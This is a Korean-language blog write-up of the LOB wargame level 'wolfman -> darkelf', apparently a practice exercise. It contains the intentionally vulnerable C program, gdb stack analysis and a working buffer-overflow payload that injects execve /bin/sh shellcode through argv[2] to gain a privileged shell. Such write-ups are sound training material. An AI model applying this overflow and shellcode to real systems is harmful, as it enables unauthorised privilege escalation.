/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf 
        - egghunter + buffer hunter + check length of argv[1]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter 
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]); 
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

위 문제의 코드와 이전 코드의 풀이를 비교해보면 argv[1]의 길이가 48bytes 보다 크면 exit() 하는 문제이다. 

필자는 argv[2]의 주소를 통해 문제를 풀 거라 전혀 문제가 되지 않는다.

 

공격 시나리오는 다음과 같다.

 

1. argv[2] 주소를 찾는다.

2. argv[2]에 NOP와 shellcode를 삽입한다.

3. RET에 argv[2]의 주소를 overwrite 한다.

4. 에러가 날 시, core 파일을 gdb로 분석해서 올바른 argv[2] 주소를 찾고 다시 공격을 시도한다.

 

 

이전 문제의 폴이와 매우 유사하기 때문에 짧게 설명을 하겠다.

 

main 함수를 gdb로 분석하면 main+232가 argv[1]의 주소이다. main+233에 breakpoint를 걸어 스택을 조사한다.

0x80485e3 <main+227>:   add    $0x4,%eax
0x80485e6 <main+230>:   mov    (%eax),%edx
0x80485e8 <main+232>:   push   %edx
0x80485e9 <main+233>:   lea    0xffffffd8(%ebp),%eax
0x80485ec <main+236>:   push   %eax
0x80485ed <main+237>:   call   0x8048440 <strcpy>
0x80485f2 <main+242>:   add    $0x8,%esp
0x80485f5 <main+245>:   lea    0xffffffd8(%ebp),%eax

 

아래 처럼 argv[1]의 주소는 0xbffffdb9이고, argv[2]의 주소는 0xbffffdea 임을 알 수 있다.

(gdb) b *main+233
Breakpoint 1 at 0x80485e9
(gdb) r `python -c 'print "A"*47+"\xbf"'` BBBB
Starting program: /home/wolfman/darkelf_copy `python -c 'print "A"*47+"\xbf"'` BBBB

Breakpoint 1, 0x80485e9 in main ()
(gdb) x/wx $esp
0xbffffc28:     0xbffffdb9
(gdb) x/30wx 0xbffffdb9
0xbffffdb9:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffdc9:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffdd9:     0x41414141      0x41414141      0x41414141      0xbf414141
0xbffffde9:     0x42424200      0x00000042      0x00000000      0x00000000
0xbffffdf9:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe09:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe19:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe29:     0x00000000      0x00000000
(gdb)          

 

 

다음과 같은 payload를 입력하여 실행해보면 역시나 에러가 뜬다.

올바른 argv[2]의 주소를 찾기 위해 core 파일을 gdb 로 분석해본다.

./darkelf_copy `python -c 'print "A"*44+"\xea\xfd\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
[wolfman@localhost wolfman]$ gdb -c core -q
Core was generated by `./darkelf_copy AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA '.
Program terminated with signal 11, Segmentation fault.
#0  0xbfffffec in ?? ()
(gdb) 

 

스택을 조사해서 argv[2]의 올바른 주소를 찾는다. 필자는 적당한 0xbffffd90 이라는 값을 argv[2]의 주소로 정했다. 

다시 RET 주소를 수정해서 공격해보자.

(gdb) x/150wx $esp
...
0xbffffd20:     0x00000000      0x69000000      0x00363836      0x61642f2e
0xbffffd30:     0x6c656b72      0x6f635f66      0x41007970      0x41414141
0xbffffd40:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffd50:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffd60:     0x41414141      0xea414141      0x00bffffd      0x90909090
0xbffffd70:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffd80:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffd90:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffda0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffdb0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffdc0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffdd0:     0x6850c031      0x68732f2f      0x69622f68      0x50e3896e
0xbffffde0:     0x89e18953      0xcd0bb0c2      0x00000080      0x00000000
0xbffffdf0:     0x00000000      0x00000000      0x00000000      0x00000000
...

 

아래와 같이 shell을 획득한 것을 볼 수 있다.

[wolfman@localhost wolfman]$ ./darkelf_copy `python -c 'print "A"*44+"\xea\xfd\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
bash$ whoami
darkelf
bash$ my-pass
euid = 506
kernel crashed
bash$ 

 

 

 

 

 

 

 

'CTF > LOB' 카테고리의 다른 글

[LOB] - orge -> troll 풀이  (0) 2019.10.05
[LOB] - darkelf -> orge 풀이  (0) 2019.10.05
[LOB] - wolfman -> darkelf 풀이  (0) 2019.10.04
[LOB] - orc -> wolfman 풀이  (0) 2019.10.04
[LOB] - goblin -> orc 풀이  (0) 2019.10.04
[LOB] - cobolt -> goblin 풀이  (0) 2019.10.04